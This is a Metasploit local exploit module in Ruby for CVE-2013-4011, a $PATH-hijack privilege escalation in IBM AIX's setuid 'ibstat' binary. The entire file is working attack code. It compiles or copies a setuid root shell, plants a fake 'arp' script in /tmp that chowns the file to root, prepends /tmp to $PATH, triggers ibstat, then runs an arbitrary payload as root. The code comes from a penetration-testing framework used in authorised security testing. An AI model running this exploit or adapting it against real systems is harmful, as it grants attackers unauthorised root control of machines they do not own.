184 lines
4.9 KiB
Ruby
184 lines
4.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'ibstat $PATH Privilege Escalation',
|
|
'Description' => %q{
|
|
This module exploits the trusted $PATH environment variable of the SUID binary "ibstat".
|
|
},
|
|
'Author' => [
|
|
'Kristian Erik Hermansen', # original author
|
|
'Sagi Shahar <sagi.shahar[at]mwrinfosecurity.com>', # Metasploit module
|
|
'Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>' # Metasploit module
|
|
],
|
|
'References' => [
|
|
['CVE', '2013-4011'],
|
|
['OSVDB', '95420'],
|
|
['BID', '61287'],
|
|
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827'],
|
|
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756']
|
|
],
|
|
'Platform' => %w[unix aix],
|
|
'Arch' => ARCH_CMD,
|
|
'Payload' => {
|
|
'Compat' => {
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'perl'
|
|
}
|
|
},
|
|
'SessionTypes' => %w[shell],
|
|
'Targets' => [
|
|
['IBM AIX Version 6.1', {}],
|
|
['IBM AIX Version 7.1', {}]
|
|
],
|
|
'DefaultTarget' => 1,
|
|
'DisclosureDate' => '2013-09-24',
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('IBSTAT_PATH', [true, 'Path to ibstat executable', '/usr/bin/ibstat'])
|
|
])
|
|
register_advanced_options([
|
|
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
|
])
|
|
end
|
|
|
|
def ibstat_path
|
|
datastore['IBSTAT_PATH']
|
|
end
|
|
|
|
def check
|
|
find_output = cmd_exec('find /usr/sbin/ -name ibstat -perm -u=s -user root 2>/dev/null')
|
|
|
|
return CheckCode::Safe("#{ibstat_path} is not set-uid root") unless find_output.to_s.include?('ibstat')
|
|
|
|
CheckCode::Appears("#{ibstat_path} is set-uid root")
|
|
end
|
|
|
|
def exploit
|
|
root_file = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}"
|
|
arp_file = "#{datastore['WritableDir']}/arp"
|
|
c_file = %^#include <stdio.h>
|
|
|
|
int main()
|
|
{
|
|
setreuid(0,0);
|
|
setregid(0,0);
|
|
execve("/bin/sh",NULL,NULL);
|
|
return 0;
|
|
}
|
|
^
|
|
arp = %(#!/bin/sh
|
|
|
|
chown root #{root_file}
|
|
chmod 4555 #{root_file}
|
|
)
|
|
|
|
if gcc_installed?
|
|
print_status("Dropping file #{root_file}.c...")
|
|
write_file("#{root_file}.c", c_file)
|
|
|
|
print_status('Compiling source...')
|
|
cmd_exec("gcc -o #{root_file} #{root_file}.c")
|
|
print_status('Compilation completed')
|
|
|
|
register_file_for_cleanup("#{root_file}.c")
|
|
else
|
|
cmd_exec("cp /bin/sh #{root_file}")
|
|
end
|
|
|
|
register_file_for_cleanup(root_file)
|
|
|
|
print_status('Writing custom arp file...')
|
|
write_file(arp_file, arp)
|
|
register_file_for_cleanup(arp_file)
|
|
cmd_exec("chmod 0555 #{arp_file}")
|
|
print_status('Custom arp file written')
|
|
|
|
print_status('Updating $PATH environment variable...')
|
|
path_env = cmd_exec('echo $PATH')
|
|
cmd_exec("PATH=#{datastore['WritableDir']}:$PATH")
|
|
cmd_exec('export PATH')
|
|
|
|
print_status('Finding interface name...')
|
|
iface = ''
|
|
cmd_exec('lsdev -Cc if').each_line do |line|
|
|
next unless line.match(/^[a-z]+[0-9]+\s+Available/) && !line.match(/^lo[0-9]/)
|
|
|
|
iface = line.split(/\s+/)[0]
|
|
print_status("Found interface #{iface}.")
|
|
break
|
|
end
|
|
|
|
if iface == ''
|
|
iface = 'en0'
|
|
print_status('Found no interface, defaulting to en0.')
|
|
end
|
|
|
|
print_status('Triggering vulnerablity...')
|
|
cmd_exec("#{ibstat_path} -a -i #{iface} 2>/dev/null >/dev/null")
|
|
|
|
# The $PATH variable must be restored before the payload is executed
|
|
# in cases where an euid root shell was gained
|
|
print_status('Restoring $PATH environment variable...')
|
|
cmd_exec("PATH=#{path_env}")
|
|
cmd_exec('export PATH')
|
|
|
|
cmd_exec(root_file)
|
|
print_status('Checking root privileges...')
|
|
|
|
if is_root?
|
|
print_status('Executing payload...')
|
|
cmd_exec(payload.encoded)
|
|
end
|
|
end
|
|
|
|
def gcc_installed?
|
|
print_status('Checking if gcc exists...')
|
|
gcc_whereis_output = cmd_exec('whereis -b gcc')
|
|
|
|
if gcc_whereis_output.to_s.include?('/')
|
|
print_good('gcc found!')
|
|
return true
|
|
end
|
|
|
|
print_status('gcc not found. Using /bin/sh from local system')
|
|
false
|
|
end
|
|
|
|
def is_root?
|
|
id_output = cmd_exec('id')
|
|
|
|
if id_output.include?('euid=0(root)')
|
|
print_good('Got root! (euid)')
|
|
return true
|
|
end
|
|
|
|
if id_output.include?('uid=0(root)')
|
|
print_good('Got root!')
|
|
return true
|
|
end
|
|
|
|
print_error('Exploit failed')
|
|
false
|
|
end
|
|
end
|